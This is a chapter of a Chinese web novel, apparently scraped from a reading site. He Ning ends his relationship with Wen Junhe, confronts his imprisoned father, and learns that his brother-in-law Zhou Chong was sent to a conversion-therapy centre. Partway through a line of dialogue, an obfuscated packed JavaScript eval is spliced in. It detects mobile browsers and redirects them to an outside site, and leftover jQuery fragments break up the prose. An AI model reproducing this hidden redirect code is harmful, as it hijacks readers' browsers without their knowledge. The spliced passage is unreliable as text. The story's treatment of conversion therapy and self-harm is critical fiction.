28.我替你过去吧

作品:《万人嫌受和万人迷攻

    闻君鹤的声音绷得像拉紧的弦:“宁宁,你什么意思?”


    夜风吹得他衬衫紧贴在身上,勾勒出僵直的肩线。


    “字面意思。”贺宁,“我腻了,韩卿现在废了,孟轩也要进去,现在没人能动我,这段时间辛苦你了。”


    闻君鹤:“我哪里做得不好......”


    贺宁胸口发闷,这不是他想看的闻君鹤,不该是这样低声下气的模样。


    一切都错了。


    从他拉着闻君鹤坠下来那天就错了。


    贺宁突然一开始想起自己原本只想当个混吃等死的纨绔。


    贺闳兴血淋淋的例子就摆在那儿,爬得越高,摔得越狠。


    他不想看到闻君鹤也这样。


    如果闻君鹤没遇见贺宁,他大概会活成最标准的别人家孩子模板,虽然出身普通,但靠着那股子倔劲,一步步往上爬。名校毕业,进最好的公司,每天穿着笔挺的衣服。下班后运动,周末和朋友小聚,活得规律又干净。


    他会遇到个品性相当的姑娘,可能是同事介绍的,也可能是相亲认识的。那姑娘大概也爱较真,他们会买套小房子,生个孩子,周末带孩子去公园放风筝。


    没有血腥,没有算计,更没有那些见不得光的交易。他不用为谁低头,不用违背原则,永远活得堂堂正正,那才是闻君鹤该有的人生,而不是像现在这样,在这段扭曲的关系里互相折磨。


    起初贺宁确实存了报复的心思,凭什么闻君鹤当年能对他冷眼相待,现在却要装深情?


    可当真把闻君鹤拽下来后,他心里反而空落落的,像一拳打进了棉花里。


    他终究不是贺闳兴,做不到心狠手辣;也没有闻君鹤的本事,有那样强大的心理素质,


    贺宁就是个再普通不过的人,才会在那些阴谋算计里卷入差点丢了命。


    现在回想起来,那些报复的快感就像劣质酒精,上头快,后劲大,最后只剩满嘴苦涩。


    他们这段关系,从一开始就是错的。他报复的不是闻君鹤,是那个无能为力的自己。


    闻君鹤神情痛苦:“是不是......我做什么都没用了?”


    贺宁别过脸:“早就完了,以后好好过你的日子,余生都要坦坦荡荡地活。”


    闻君鹤突然伸手,只来得及抓住贺宁的一片衣角。


    布料从指缝滑走的瞬间,他想起很多年前,贺宁也是很多次抓住他的袖口,被他甩开。


    现在位置调换,他才明白这个动作多伤人。


    贺宁把闻君鹤的电话、微信全拖进了黑名单。


    他去探监那天,隔着玻璃和贺闳兴对坐,两人之间的沉默持续了一分钟。


    最后还是贺闳兴先开口,嘴角挂着那种熟悉的的笑:“解气了吗?”


    贺宁盯着他爸看,这人眼角有皱纹了,眼神带着年轻时锐利,却像匹随时准备扑食的狼,而是暮年垂垂的老狼。


    贺宁:“我没觉得痛快。”


    贺闳兴放软了语气,甚至带着点讨好的意味:“是爸爸错了,以前太混账......”


    话没说完就被贺宁打断:“我的事以后自己处理,别再把闻君鹤扯进来,他跟你们不是一路人。”


    贺闳兴突然笑了,眼神渐渐锐利:“说实话,他来看我的时候真是让我吃了一惊。”


    贺闳兴的声音透过探视窗传来,带着几分无奈的笑意:“宁宁,这世上没有人是什么例外?权、钱、色,谁逃得过?”


    的确没有什么人是不一样的,人到了年纪,入世够深,权欲,利欲,情//欲,都会猖獗贪婪地扑过来。


    贺宁盯着父亲眼角新添的皱纹,贺闳兴继续开口说:“别指望谁能永远干净,更别想着改变谁,宝贝,怎么到头来,最天真的还是你呢?”


    “闻君鹤以前畏惧着我的权势,恨我,结果现在才发现的确那是个好东西,否则连自己所爱之人都保护不了,你妈妈就是一个活生生的例子,那个时候爸爸发誓再也不会落入那种屈辱的境地……”


    “现在我最大的心愿就是你能开开心心的,闻君鹤他非池中之辈,以前我反对你们在一起,只是觉得他固守的高傲太可笑了,他看不起我贺闳兴的儿子,现在不一样了。”


    贺闳兴隔着玻璃看贺宁:“他真的臣服于你了。”


    贺宁知道这世上哪有什么出淤泥而不染?闻君鹤不也一步步变成了现在这样?


    可他就是不甘心。


    “闭嘴!”贺宁猛地站起来,椅子在地面刮出刺耳声响,他眼眶发红:“他凭什么要看得上我,我们是什么良善的大好人吗?”


    “我真是讨厌死你们了,你们从来都不知道我要什么,不过都是为了自己罢了,那么自私,用我当什么借口!”


    贺宁说罢就要离开,贺闳兴叫了一声宁宁。


    贺宁:“你不该让闻君鹤开那种头的,我真是过够了那种担惊受怕的生活,是你的为所欲为毁了我们家!你怎么好意思提起妈妈,别再沾闻君鹤,否则我以后再不要见你!”


    贺宁转身就走。


    贺闳兴在后面喊他小名,声音突然老了十岁。


    贺闳兴猛地起身,却被狱警一把按回椅子上。


    “我心软的傻孩子......”贺闳兴他甩开狱警的手,自己转身往监区走。拖鞋踩在水泥地上,啪嗒啪嗒的脚步声越来越远,最后彻底消失在铁门后。


    妻子的面容在贺闳兴多年的牢狱记忆里已经模糊成一片,只记得是个温婉的女人。


    贺宁小时候总缠着他问妈妈的事,他能说很久,从他妈妈慧韫的名字开始。


    他摸出张旧照片,边角已经发黄卷曲。照片上的女人抱着婴儿时期的贺宁,笑容温柔。


    贺闳兴的手指无意识地摩挲着照片,想起最后一次见她,是在停尸房。要是当年没那么贪心,现在是不是还能一家三口在一起。


    贺闳兴把照片塞回枕头下。后悔有什么用?路是自己选的。


    *


    周纪难得休息,他在院子里悠闲地翻阅着一本书,面前摆着一壶茶。


    周崇刚睡醒的样子有些散漫,头发被抓得乱糟糟的,连拖鞋都只趿拉了一半。


    他晃到周纪面前,看都没看就伸手捏了块茶点塞进嘴里,他向来娇气,吃穿用度都是单独备着的,连茶点的糖分都要精确到克。


    周纪眉头一皱,语气冷淡:“少吃点糖。”


    自从结婚后,他就和周崇保持着一种刻意的疏离,像在两人之间划了条线,谁都不准越界。


    他履行着兄长的责任,但除此之外,再没有更多。仿佛只有这样,才能把彼此都钉在各自该在的位置上,不再生出不该有的念头。


    周崇嚼着茶点,甜腻的味道在舌尖化开,他抬眼看周纪,扯了扯嘴角:“你不是不管我的死活吗?”


    周纪的眉头皱得更紧,他只想当个普通的兄长,可周崇偏要一次次越界,把简单的关系搅得复杂。


    周崇瞥了眼他手里的书,封面烫金的哲学标题在灯光下反着冷光。他嗤笑一声,语气里带着刻意的轻佻:“读了这么多道理,哥,你活明白了吗?”


    周纪合上书:“身体好了就去上班,别整天游手好闲。”


    周崇眼底闪过一丝讥诮:“我上过班啊,去贺宁那儿。”


    他歪着头,笑得挑衅:“我把他出轨证据都甩你脸上了,你倒沉得住气,八风不动。”


    “他是我的伴侣。”周纪声音冷了下来,“我们的生活,轮不到你指手画脚。”


    他抬眼:“安分点,别让爸和妈操心。”


    周崇忽然凑近,呼吸几乎喷在周纪耳畔,压低的声音里带着恶意的愉悦:“我安分得很,反倒是你,最近你那位‘伴侣’失恋了,你没发现吗?”


    周纪却连眼神都没变,拿着书转身就往楼上走。


    周崇站在原地,胸口剧烈起伏,眼睛瞪得发红,突然提高声音:“对!我就是不让人省心!可你呢?你当初骗我说只要我变好就跟我在一起,我信了,我改了,结果你跑了!”


    他的声音里压着颤,像是要把这些年憋着的怨气全倒出来:“国外那一晚也是骗我的,对吧?周纪你就是个懦夫,你永远只想逃,你们把我当疯子一样关着,二十四小时盯着,这就是你想看到的?”


    庞娆站在一旁,粉色披肩裹着肩膀,她蹙着眉,想上前又不敢。


    贺宁正好从楼上下来,听见动静,脚步一顿。


    周纪没有发火,甚至没有回头,只是漠然地丢下一句:“只有小孩才会觉得全世界都该围着他转。”


    他语气平静得像在陈述一个再简单不过的事实:“周崇,你还没长大吗?”


    说完,他径直上了楼,周崇站在原地,手指攥得发白,呼吸又急又重。庞娆赶紧上前,小心翼翼地碰了碰他的手臂:“小崇,你没事吧?”


    周崇没回答,只是死死盯着周纪消失的背影。


    周崇猛地甩开庞娆的手,力道大得让她踉跄后退了半步。


    庞娆叹了口气:“你说你怎么就偏偏看上自己哥哥呢?你爸那边是无论如何都不会松口的。”


    她声音放轻,像是劝解又像是警告:“上次请的大师说了,可能是祖坟风水的问题,你爸已经找人去迁了。”


    “天生的。”周崇扯着嘴角冷笑,眼底发红,“驱邪也好,戒断所也罢,都治不了。”


    他转头看向二楼方向,声音哑得厉害:“反正两个儿子,没一个合他心意,总之逼死一个就好了,你们别去折磨我哥。”


    庞娆猛地捂住周崇的嘴,一转头正对上贺宁探究的目光。周崇挣开她的手,头也不回地往外走。


    贺宁看着那个怒气冲冲的背影消失在拐角,转头问庞娆:“妈,没事吧?”


    庞娆摆摆手,披肩的流苏随着动作轻轻晃动。她还没来得及开口,就听见贺宁又问:“周崇刚才说的戒断所……是什么地方?”


    周牟富发家的地方保守封建,骨子里刻着旧式宗族的顽固。这么多年却始终改不了迷信风水的习惯。


    当年面对两个儿子之间的纠葛,这位父亲最终做了个折中的决定,允许大儿子和男人结婚,却始终不肯承认这段关系的本质。


    庞娆拢了拢披肩,眉头微蹙:“周崇十五岁那会儿就不太对劲,脾气倔得很,只听他哥的话。送去待了三个月,别人家孩子出来都老实了,就他……”


    十五岁?


    可周纪告诉他,不是他们成年的时候这段关系才被发现的吗?


    贺宁盯着庞娆保养得宜的脸,突然打断:“您知道那种地方是怎么‘矫正’的吗?”


    ”就是……一些体罚罢了。”庞娆轻描淡写地摆摆手。


    贺宁:“体罚而已?”


    庞娆含糊地“嗯”了一声,手指无意识地揪着披肩边缘往上提了提:“他爸提过有些辅助治疗手段...都很温和的。”


    她语速突然加快:“阿崇心脏不好,我们哪敢乱来?都是正规医疗机构,有科学依


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959927|176590||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    据的。”


    贺宁盯着她手上的动作。


    庞娆还在解释:“我们就是想让他像正常人一样……”


    话说到一半突然卡住,像是自己也意识到这个词用得不太妥当。


    “庞姨,”贺宁声音发紧,“您看过那些戒断所的新闻吗?”


    “那都是不正规的!”庞娆突然拔高声音,披肩滑落半边,“他爸找的是顶级专家,收费贵着呢。”


    她说着说着又放轻声音,像是在说服自己,“治好过不少人的……”


    贺宁盯着庞娆那张妆容精致的脸,她眉梢眼角还带着笃定的神情,无知且自信。


    他想起墙上的全家福,照片里的周崇少年时还会笑,挨着周纪的肩膀,眼睛亮得像星星。


    可后来那些照片里,他的眼神越来越沉,像潭死水,看人的时候让人脊背发凉。


    周崇那些偏执的、疯狂的举动,原来都是有迹可循的。这屋子里每个人都往那团火里添过柴,现在却要怪火烧得太旺。


    贺宁听完庞娆那番话,胸口堵得发闷。他在厨房转了两圈,水杯拿起又放下,最后径直上楼敲开周纪的房门:“我们搬出去吧。”


    话说得干脆,连个商量的余地都没留。


    搬家那天,周崇的房门紧闭了一整天。傍晚庞娆端着餐盘站在门外,刚敲两下就听见里面“砰”的砸东西声:“饿死我算了!”


    周崇的声音隔着门板传来,嘶哑得不成样子:“反正没人管我死活!”


    庞娆急得在走廊转圈,第二天情况更糟。她不得不去找周牟富求助。电话打到周纪手机上时,贺宁看见他撑在桌沿的手背青筋凸起。挂断后,周纪抓起外套就要出门。


    “或许我这个外人看得更明白。”贺宁突然开口,“你们对周崇……”


    他斟酌着用词:“既冷漠又纵容。”


    周纪:“……我没办法不管他,他心脏一直有问题。”


    贺宁垂下眼:“然后呢?”


    他轻轻摇头:“他闹,你让,看似心软,周崇的贪心都是你一手惯出来的。我这个外人夹在中间,除了提醒你们保持距离。”


    “阿纪,我愿意一直起这个中间作用,可这不是办法,周崇是一个活生生的人,不是可以规整的东西,总有一天你会把他逼疯的。”


    贺宁盯着周纪绷紧的下颌线:“你妈说送过周崇去戒断所……你知道这事吗?”


    周纪:“什么戒断所?”


    “就跟戒网瘾的差不多,”贺宁,“你出柜时爸妈反应那么平静……说不定早就被更离经叛道的事冲击过了。”


    这话一出,在周纪脸上砸出个难以置信的表情。


    周纪的思绪转得飞快,记忆里出柜那天的画面一帧帧闪回,饭桌上安静得可怕,他妈嘴唇动了动又闭上,最后是周崇先开口问“是谁”。


    当他说出当时的恋人,全家人脸上闪过各种表情,唯独没有对“同性恋”这件事本身的震惊。


    他爸明明是那么一个那么封建的人。


    现在回想起来,那种诡异的平静终于有了答案。


    当时他妈欲言又止的眼神,他爸反常的沉默,甚至是周崇追问时那种古怪的急切。原来他们早就在另一个儿子身上经历过更剧烈的冲击。


    周纪想起从前那个亦步亦趋跟在自己身后的周崇,那时候的少年眼睛亮得像星星,他说往东绝不往西。


    不知从什么时候开始,应该在他上大学后,那双眼睛渐渐暗了下去,像盏快耗尽的油灯,一点风吹草动就能让它剧烈摇晃。


    周崇的脾气变得越来越古怪,像只随时会炸毛的猫。


    后来这样的场景越来越多,摔杯子、砸门、整夜整夜不回家,每次爆发后,周崇又会红着眼睛来找他,像个做错事的孩子。


    他当初逃离周家也是因为或许周崇的叛逆,从来都只是冲着他一个人的。就像困兽最后的挣扎,既想逃离,又舍不得真的走远。


    第二天贺宁就听说了周崇从二楼摔下去的消息。据说那天正好有工人来翻新草坪,新铺的草皮很松软,像一层厚厚的绒毯,就是这层缓冲救了他一命,没让他真的摔出个好歹来。


    贺宁看望他的时候,周崇正靠在摇起的病床上,床头柜摆着四五样精致早点,周纪端着白瓷碗,正在给他喂粥。


    周崇见了贺宁,突然扯着被子蒙住头。


    周纪放下碗时,只对贺宁抬了抬下巴示意门外说话。


    “……你说得对,他今天变成这样,我脱不了关系。”


    他说大学的时候,父母转头就把周崇塞进了城郊那家戒断所,等三个月后回来,周崇已经不太对劲了,半夜经常惊醒,这些事周崇后来从没跟他提过。


    周崇是高中发现自己跟周纪不是亲生兄弟的,他很认真地对庞娆说他喜欢哥哥,他是不是可以跟哥哥在一起。


    庞娆和周牟富对这个养子心情很复杂,这么多年的宠爱不是假的,他们一方面觉得自己没养好,一方面觉得是不是他们的教育出了问题。


    他们可以对周纪严厉,可是对周崇没有办法。


    周纪的指节抵着太阳穴:“我看到他手上的疤,平时用手表遮住的。”


    那只定制腕表的金属表带下,横亘着几道狰狞的伤口。


    贺宁:“阿纪,南美分公司需要人坐镇吧?我替你过去吧。”


    “不是要离婚,毕竟这个身份还挺好用的,我只是觉得我不该留在这里刺激周崇了,他再折腾下去,小命都快没了。”